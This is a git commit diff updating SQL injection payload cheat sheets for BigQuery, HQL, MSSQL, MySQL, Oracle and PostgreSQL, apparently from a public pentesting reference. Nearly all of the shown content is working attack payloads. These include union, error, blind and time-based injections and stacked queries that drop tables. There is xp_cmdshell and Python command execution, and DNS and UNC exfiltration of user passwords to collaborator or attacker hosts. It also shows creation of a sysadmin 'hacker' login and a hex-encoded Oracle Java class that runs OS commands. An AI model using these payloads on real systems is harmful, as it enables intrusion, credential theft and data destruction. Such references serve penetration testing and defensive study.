SQL Injections - Updates for MSSQL, Oracle, PostgreSQL

This commit is contained in:
Swissky 2024-11-15 23:56:04 +01:00
parent f57d0813ca
commit 67af38aa4e
6 changed files with 256 additions and 248 deletions

View File

@ -18,23 +18,20 @@
* Use a classic single quote to trigger an error: `'` * Use a classic single quote to trigger an error: `'`
* Identify BigQuery using backtick notation: ```SELECT .... FROM `` AS ...``` * Identify BigQuery using backtick notation: ```SELECT .... FROM `` AS ...```
```ps1 | SQL Query | Description |
# Gathering project id | ----------------------------------------------------- | -------------------- |
select @@project_id | `SELECT @@project_id` | Gathering project id |
| `SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA` | Gathering all dataset names |
| `select * from project_id.dataset_name.table_name` | Gathering data from specific project id & dataset |
# Gathering all dataset names
select schema_name from INFORMATION_SCHEMA.SCHEMATA
# Gathering data from specific project id & dataset
select * from `project_id.dataset_name.table_name`
```
## BigQuery Comment ## BigQuery Comment
```ps1 | Type | Description |
select 1#from here it is not working |----------------------------|-----------------------------------|
select 1/*between those it is not working*/ | `#` | Hash comment |
``` | `/* PostgreSQL Comment */` | C-style comment |
## BigQuery Union Based ## BigQuery Union Based
@ -47,13 +44,11 @@ true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,
## BigQuery Error Based ## BigQuery Error Based
```ps1 | SQL Query | Description |
# Error based - division by zero | -------------------------------------------------------- | -------------------- |
' OR if(1/(length((select('a')))-1)=1,true,false) OR ' | `' OR if(1/(length((select('a')))-1)=1,true,false) OR '` | Division by zero |
| `select CAST(@@project_id AS INT64)` | Casting |
# Error based - casting: select CAST(@@project_id AS INT64)
dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#
```
## BigQuery Boolean Based ## BigQuery Boolean Based

View File

@ -19,9 +19,8 @@
## HQL Comments ## HQL Comments
```sql HQL does not support comments.
HQL does not support comments
```
## HQL List Columns ## HQL List Columns
@ -58,28 +57,31 @@ select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.pro
:warning: **HQL does not support UNION queries** :warning: **HQL does not support UNION queries**
## Single Quote Escaping ## Single Quote Escaping
Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH `\'`. Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH `\'`.
In HQL SINGLE QUOTES is escaped in strings by doubling `''`. In HQL SINGLE QUOTES is escaped in strings by doubling `''`.
``` ```sql
'abc\''or 1=(select 1)--' 'abc\''or 1=(select 1)--'
``` ```
In HQL it is a string, in MySQL it is a string and additional SQL expression. In HQL it is a string, in MySQL it is a string and additional SQL expression.
## $-quoted strings ## $-quoted strings
Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2. Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2.
Hibernate ORM allows identifiers starting with `$$`. Hibernate ORM allows identifiers starting with `$$`.
``` ```sql
$$='$$=concat(chr(61),chr(39)) and 1=1--' $$='$$=concat(chr(61),chr(39)) and 1=1--'
``` ```
## DBMS Magic functions ## DBMS Magic functions
Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle. Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle.
@ -88,13 +90,13 @@ Hibernate allows to specify any function name in HQL expression.
PostgreSQL has built-in function `query_to_xml('Arbitrary SQL')`. PostgreSQL has built-in function `query_to_xml('Arbitrary SQL')`.
``` ```sql
array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1) array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)
``` ```
Oracle has built-in function `DBMS_XMLGEN.getxml('SQL')` Oracle has built-in function `DBMS_XMLGEN.getxml('SQL')`
``` ```sql
NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1' NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
``` ```
@ -106,7 +108,7 @@ In Microsoft SQL SERVER `SELECT LEN([U+00A0](select[U+00A0](1))` works the same
HQL allows UNICODE symbols in identifiers (function or parameter names). HQL allows UNICODE symbols in identifiers (function or parameter names).
``` ```sql
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11' SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
``` ```
@ -146,7 +148,7 @@ com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ]
org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE [ EclipseHelp ] org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE [ EclipseHelp ]
``` ```
``` ```sql
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1 dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
``` ```

View File

@ -12,22 +12,24 @@
* [MSSQL Hostname](#mssql-hostname) * [MSSQL Hostname](#mssql-hostname)
* [MSSQL Database Name](#mssql-database-name) * [MSSQL Database Name](#mssql-database-name)
* [MSSQL Database Credentials](#mssql-database-credentials) * [MSSQL Database Credentials](#mssql-database-credentials)
* [MSSQL List databases](#mssql-list-databases) * [MSSQL List Databases](#mssql-list-databases)
* [MSSQL List columns](#mssql-list-columns) * [MSSQL List Columns](#mssql-list-columns)
* [MSSQL List tables](#mssql-list-tables) * [MSSQL List Tables](#mssql-list-tables)
* [MSSQL Union Based](#mssql-union-based) * [MSSQL Union Based](#mssql-union-based)
* [MSSQL Error Based](#mssql-error-based) * [MSSQL Error Based](#mssql-error-based)
* [MSSQL Blind Based](#mssql-blind-based) * [MSSQL Blind Based](#mssql-blind-based)
* [MSSQL Time Based](#mssql-time-based) * [MSSQL Time Based](#mssql-time-based)
* [MSSQL Stacked query](#mssql-stacked-query) * [MSSQL Stacked Query](#mssql-stacked-query)
* [MSSQL Read file](#mssql-read-file) * [MSSQL Read File](#mssql-read-file)
* [MSSQL Command execution](#mssql-command-execution) * [MSSQL Command Execution](#mssql-command-execution)
* [MSSQL Out of band](#mssql-out-of-band) * [XP_CMDSHELL](#xp_cmdshell)
* [MSSQL DNS exfiltration](#mssql-dns-exfiltration) * [Python Script](#python-script)
* [MSSQL UNC path](#mssql-unc-path) * [MSSQL Out of Band](#mssql-out-of-band)
* [MSSQL Make user DBA](#mssql-make-user-dba-db-admin) * [MSSQL DNS Exfiltration](#mssql-dns-exfiltration)
* [MSSQL UNC Path](#mssql-unc-path)
* [MSSQL Make User DBA](#mssql-make-user-dba)
* [MSSQL Trusted Links](#mssql-trusted-links) * [MSSQL Trusted Links](#mssql-trusted-links)
* [MSSQL List permissions](#mssql-list-permissions) * [MSSQL List Permissions](#mssql-list-permissions)
* [References](#references) * [References](#references)
@ -78,7 +80,7 @@ SELECT SERVERPROPERTY('productlevel')
SELECT SERVERPROPERTY('edition'); SELECT SERVERPROPERTY('edition');
``` ```
## MSSQL Database name ## MSSQL Database Name
```sql ```sql
SELECT DB_NAME() SELECT DB_NAME()
@ -100,7 +102,7 @@ SELECT DB_NAME()
``` ```
## MSSQL List databases ## MSSQL List Databases
```sql ```sql
SELECT name FROM master..sysdatabases; SELECT name FROM master..sysdatabases;
@ -108,7 +110,7 @@ SELECT DB_NAME(N); — for N = 0, 1, 2, …
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimiter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+) SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimiter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
``` ```
## MSSQL List columns ## MSSQL List Columns
```sql ```sql
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- for the current DB only SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- for the current DB only
@ -117,7 +119,7 @@ SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master.
SELECT table_catalog, column_name FROM information_schema.columns SELECT table_catalog, column_name FROM information_schema.columns
``` ```
## MSSQL List tables ## MSSQL List Tables
```sql ```sql
SELECT name FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views SELECT name FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views
@ -154,36 +156,43 @@ $ SELECT UserId, UserName from Users
``` ```
## MSSQL Error based ## MSSQL Error Based
```sql * For integer inputs
For integer inputs : convert(int,@@version)
For integer inputs : cast((SELECT @@version) as int)
For string inputs : ' + convert(int,@@version) + ' ```sql
For string inputs : ' + cast((SELECT @@version) as int) + ' convert(int,@@version)
``` cast((SELECT @@version) as int)
```
* For string inputs
```sql
' + convert(int,@@version) + '
' + cast((SELECT @@version) as int) + '
```
## MSSQL Blind based ## MSSQL Blind Based
```sql ```sql
AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- - AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -
```
```sql
AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97 AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A' AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90 AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%' SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table) WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%' SELECT message FROM data WHERE row = 1 and message like 't%'
``` ```
## MSSQL Time based ## MSSQL Time Based
In a time-based blind SQL injection attack, an attacker injects a payload that uses `WAITFOR DELAY` to make the database pause for a certain period. The attacker then observes the response time to infer whether the injected payload executed successfully or not.
```sql ```sql
ProductID=1;waitfor delay '0:0:10'-- ProductID=1;waitfor delay '0:0:10'--
@ -191,7 +200,9 @@ ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'-- ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'-- ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'-- ProductID=1));waitfor delay '0:0:10'--
```
```sql
IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0'; IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
``` ```
@ -199,7 +210,7 @@ IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
## MSSQL Stacked Query ## MSSQL Stacked Query
* Without any statement terminator * Stacked query without any statement terminator
```sql ```sql
-- multiple SELECT statements -- multiple SELECT statements
SELECT 'A'SELECT 'B'SELECT 'C' SELECT 'A'SELECT 'B'SELECT 'C'
@ -212,13 +223,13 @@ IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')-- SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
``` ```
* Use a semi-colon ";" to add another query * Use a semi-colon "`;`" to add another query
```sql ```sql
ProductID=1; DROP members-- ProductID=1; DROP members--
``` ```
## MSSQL Read file ## MSSQL Read File
**Permissions**: The `BULK` option requires the `ADMINISTER BULK OPERATIONS` or the `ADMINISTER DATABASE BULK OPERATIONS` permission. **Permissions**: The `BULK` option requires the `ADMINISTER BULK OPERATIONS` or the `ADMINISTER DATABASE BULK OPERATIONS` permission.
@ -227,7 +238,9 @@ IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
``` ```
## MSSQL Command execution ## MSSQL Command Execution
### XP_CMDSHELL
```sql ```sql
EXEC xp_cmdshell "net user"; EXEC xp_cmdshell "net user";
@ -244,45 +257,36 @@ EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE; RECONFIGURE;
``` ```
To interact with the MSSQL instance. ### Python Script
> Executed by a different user than the one using `xp_cmdshell` to execute commands
```powershell ```powershell
sqsh -S 192.168.1.X -U sa -P superPassword # Print the user being used (and execute commands)
python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758
```
Execute Python script
> Executed by a different user than the one using xp_cmdshell to execute commands
```powershell
#Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))' EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())' EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
``` ```
## MSSQL Out of band
## MSSQL Out of Band
### MSSQL DNS exfiltration ### MSSQL DNS exfiltration
Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1 Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1
```powershell * **Permission**: Requires VIEW SERVER STATE permission on the server.
# Permissions: Requires VIEW SERVER STATE permission on the server.
1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))
# Permissions: Requires the CONTROL SERVER permission. ```powershell
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default))) 1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default)) ```
```
* **Permission**: Requires the CONTROL SERVER permission.
```powershell
1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
```
### MSSQL UNC Path ### MSSQL UNC Path
@ -308,7 +312,7 @@ RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
``` ```
## MSSQL Make user DBA (DB admin) ## MSSQL Make User DBA
```sql ```sql
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
@ -345,7 +349,7 @@ EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '')
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
``` ```
## List permissions ## List Permissions
Listing effective permissions of current user on the server. Listing effective permissions of current user on the server.

View File

@ -43,8 +43,8 @@
* [UNC Path - NTLM Hash Stealing](#unc-path---ntlm-hash-stealing) * [UNC Path - NTLM Hash Stealing](#unc-path---ntlm-hash-stealing)
* [MYSQL WAF Bypass](#mysql-waf-bypass) * [MYSQL WAF Bypass](#mysql-waf-bypass)
* [Alternative to Information Schema](#alternative-to-information-schema) * [Alternative to Information Schema](#alternative-to-information-schema)
* [Alternative to Version](#alternative-to-version) * [Alternative to VERSION](#alternative-to-version)
* [Alternative to group_concat](#alternative-to-group_concat) * [Alternative to GROUP_CONCAT](#alternative-to-group_concat)
* [Scientific Notation](#scientific-notation) * [Scientific Notation](#scientific-notation)
* [Conditional Comments](#conditional-comments) * [Conditional Comments](#conditional-comments)
* [Wide Byte Injection (GBK)](#wide-byte-injection-gbk) * [Wide Byte Injection (GBK)](#wide-byte-injection-gbk)
@ -645,7 +645,7 @@ mysql> SHOW TABLES IN dvwa;
``` ```
### Alternative to Version ### Alternative to VERSION
```sql ```sql
mysql> SELECT @@innodb_version; mysql> SELECT @@innodb_version;
@ -671,7 +671,7 @@ mysql> mysql> SELECT version();
``` ```
### Alternative to group_concat ### Alternative to GROUP_CONCAT
Requirement: `MySQL >= 5.7.22` Requirement: `MySQL >= 5.7.22`

View File

@ -11,13 +11,16 @@
* [Oracle SQL Hostname](#oracle-sql-hostname) * [Oracle SQL Hostname](#oracle-sql-hostname)
* [Oracle SQL Database Name](#oracle-sql-database-name) * [Oracle SQL Database Name](#oracle-sql-database-name)
* [Oracle SQL Database Credentials](#oracle-sql-database-credentials) * [Oracle SQL Database Credentials](#oracle-sql-database-credentials)
* [Oracle SQL List databases](#oracle-sql-list-databases) * [Oracle SQL List Databases](#oracle-sql-list-databases)
* [Oracle SQL List columns](#oracle-sql-list-columns) * [Oracle SQL List Columns](#oracle-sql-list-columns)
* [Oracle SQL List tables](#oracle-sql-list-tables) * [Oracle SQL List Tables](#oracle-sql-list-tables)
* [Oracle SQL Error Based](#oracle-sql-error-based) * [Oracle SQL Error Based](#oracle-sql-error-based)
* [Oracle SQL Blind](#oracle-sql-blind) * [Oracle SQL Blind](#oracle-sql-blind)
* [Oracle SQL Time Based](#oracle-sql-time-based) * [Oracle SQL Time Based](#oracle-sql-time-based)
* [Oracle SQL Command execution](#oracle-sql-command-execution) * [Oracle SQL Out of Band](#oracle-sql-out-of-band)
* [Oracle SQL Command Execution](#oracle-sql-command-execution)
* [Oracle Java Execution](#oracle-java-execution)
* [Oracle Java Class](#oracle-java-class)
* [References](#references) * [References](#references)
@ -99,7 +102,7 @@ SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
``` ```
## Oracle SQL Error based ## Oracle SQL Error Based
| Description | Query | | Description | Query |
| :-------------------- | :------------- | | :-------------------- | :------------- |
@ -126,37 +129,51 @@ When the injection point is inside a string use : `'||PAYLOAD--`
| First letter of first message is t | `SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%';` | | First letter of first message is t | `SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%';` |
## Oracle SQL Time based ## Oracle SQL Time Based
```sql ```sql
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
``` ```
## Oracle SQL Out of Band
```sql
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
```
## Oracle SQL Command Execution ## Oracle SQL Command Execution
* [ODAT (Oracle Database Attacking Tool)](https://github.com/quentinhardy/odat) * [quentinhardy/odat](https://github.com/quentinhardy/odat) - ODAT (Oracle Database Attacking Tool)
### Oracle Java Execution ### Oracle Java Execution
* List Java privileges * List Java privileges
```sql ```sql
select * from dba_java_policy select * from dba_java_policy
select * from user_java_policy select * from user_java_policy
``` ```
* Grant privileges * Grant privileges
```sql ```sql
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute'); exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', ''); exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', ''); exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
``` ```
* Execute commands * Execute commands
* 10g R2, 11g R1 and R2: `DBMS_JAVA_TEST.FUNCALL()` * 10g R2, 11g R1 and R2: `DBMS_JAVA_TEST.FUNCALL()`
```sql ```sql
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\system32\\cmd.exe','/c', 'dir >c:\test.txt') FROM DUAL
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual
``` ```
* 11g R1 and R2: `DBMS_JAVA.RUNJAVA()` * 11g R1 and R2: `DBMS_JAVA.RUNJAVA()`
```sql ```sql
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL
``` ```
@ -164,32 +181,28 @@ AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
### Oracle Java Class ### Oracle Java Class
```sql * Create Java class
/* create Java class */
BEGIN
EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
END;
/
BEGIN ```sql
EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';'; BEGIN
END; EXECUTE IMMEDIATE 'create or replace and compile java source named "PwnUtil" as import java.io.*; public class PwnUtil{ public static String runCmd(String args){ try{ BufferedReader myReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream()));String stemp, str = "";while ((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}} public static String readFile(String filename){ try{ BufferedReader myReader = new BufferedReader(new FileReader(filename));String stemp, str = "";while((stemp = myReader.readLine()) != null) str += stemp + "\n";myReader.close();return str;} catch (Exception e){ return e.toString();}}};';
/ END;
/* run OS command */ BEGIN
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual; EXECUTE IMMEDIATE 'create or replace function PwnUtilFunc(p_cmd in varchar2) return varchar2 as language java name ''PwnUtil.runCmd(java.lang.String) return String'';';
``` END;
or (hex encoded) -- hex encoded payload
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d''));
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual
```
```sql * Run OS command
/* create Java class */
SELECT TO_CHAR(dbms_xmlquery.getxml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d6564202270776e7574696c2220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c6173732070776e7574696c7b7075626c69632073746174696320537472696e672072756e28537472696e672061726773297b7472797b4275666665726564526561646572206d726561643d6e6577204275666665726564526561646572286e657720496e70757453747265616d5265616465722852756e74696d652e67657452756e74696d6528292e657865632861726773292e676574496e70757453747265616d282929293b20537472696e67207374656d702c207374723d22223b207768696c6528287374656d703d6d726561642e726561644c696e6528292920213d6e756c6c29207374722b3d7374656d702b225c6e223b206d726561642e636c6f736528293b2072657475726e207374723b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d7d'')); ```sql
EXECUTE IMMEDIATE utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2050776e5574696c46756e6328705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d65202770776e7574696c2e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b'')); end;')) results FROM dual SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```
/* run OS command */
SELECT PwnUtilFunc('ping -c 4 localhost') FROM dual;
```
## References ## References

View File

@ -1,6 +1,6 @@
# PostgreSQL Injection # PostgreSQL Injection
> > PostgreSQL SQL injection refers to a type of security vulnerability where attackers exploit improperly sanitized user input to execute unauthorized SQL commands within a PostgreSQL database.
## Summary ## Summary
@ -8,35 +8,33 @@
* [PostgreSQL Comments](#postgresql-comments) * [PostgreSQL Comments](#postgresql-comments)
* [PostgreSQL Version](#postgresql-version) * [PostgreSQL Version](#postgresql-version)
* [PostgreSQL Current User](#postgresql-current-user) * [PostgreSQL Current User](#postgresql-current-user)
* [PostgreSQL List Users](#postgresql-list-users) * [PostgreSQL Privileges](#postgresql-privileges)
* [PostgreSQL List Password Hashes](#postgresql-list-password-hashes) * [PostgreSQL List Privileges](#postgresql-list-privileges)
* [PostgreSQL List Database Administrator Accounts](#postgresql-list-database-administrator-accounts) * [PostgreSQL Superuser Role](#postgresql-superuser-role)
* [PostgreSQL List Privileges](#postgresql-list-privileges) * [PostgreSQL Enumeration](#postgresql-enumeration)
* [PostgreSQL Check if Current User is Superuser](#postgresql-check-if-current-user-is-superuser)
* [PostgreSQL database name](#postgresql-database-name)
* [PoStgresql List Databases](#postgresql-list-database)
* [PostgreSQL List Tables](#postgresql-list-tables)
* [PostgreSQL List Columns](#postgresql-list-columns)
* [PostgreSQL Error Based](#postgresql-error-based) * [PostgreSQL Error Based](#postgresql-error-based)
* [PostgreSQL XML Helpers](#postgresql-xml-helpers) * [PostgreSQL XML Helpers](#postgresql-xml-helpers)
* [PostgreSQL Blind](#postgresql-blind) * [PostgreSQL Blind](#postgresql-blind)
* [PostgreSQL Time Based](#postgresql-time-based) * [PostgreSQL Time Based](#postgresql-time-based)
* [PostgreSQL Out of Band](#postgresql-out-of-band)
* [PostgreSQL Stacked Query](#postgresql-stacked-query) * [PostgreSQL Stacked Query](#postgresql-stacked-query)
* [PostgreSQL File Read](#postgresql-file-read) * [PostgreSQL File Manipulation](#postgresql-file-manipulation)
* [PostgreSQL File Write](#postgresql-file-write) * [PostgreSQL File Read](#postgresql-file-read)
* [PostgreSQL File Write](#postgresql-file-write)
* [PostgreSQL Command Execution](#postgresql-command-execution) * [PostgreSQL Command Execution](#postgresql-command-execution)
* [CVE-20199193](#cve-20199193) * [Using COPY TO/FROM PROGRAM](#using-copy-tofrom-program)
* [Using libc.so.6](#using-libcso6) * [Using libc.so.6](#using-libcso6)
* [Bypass Filter](#bypass-filter) * [PostgreSQL WAF Bypass](#postgresql-waf-bypass)
* [Alternative to Quotes](#alternative-to-quotes)
* [References](#references) * [References](#references)
## PostgreSQL Comments ## PostgreSQL Comments
```sql | Type | Comment |
-- | ---- | ------- |
/**/ | Single-Line Comment | `--` |
``` | Multi-Line Comment | `/**/` |
## PostgreSQL Version ## PostgreSQL Version
@ -55,37 +53,18 @@ SELECT usename FROM pg_user;
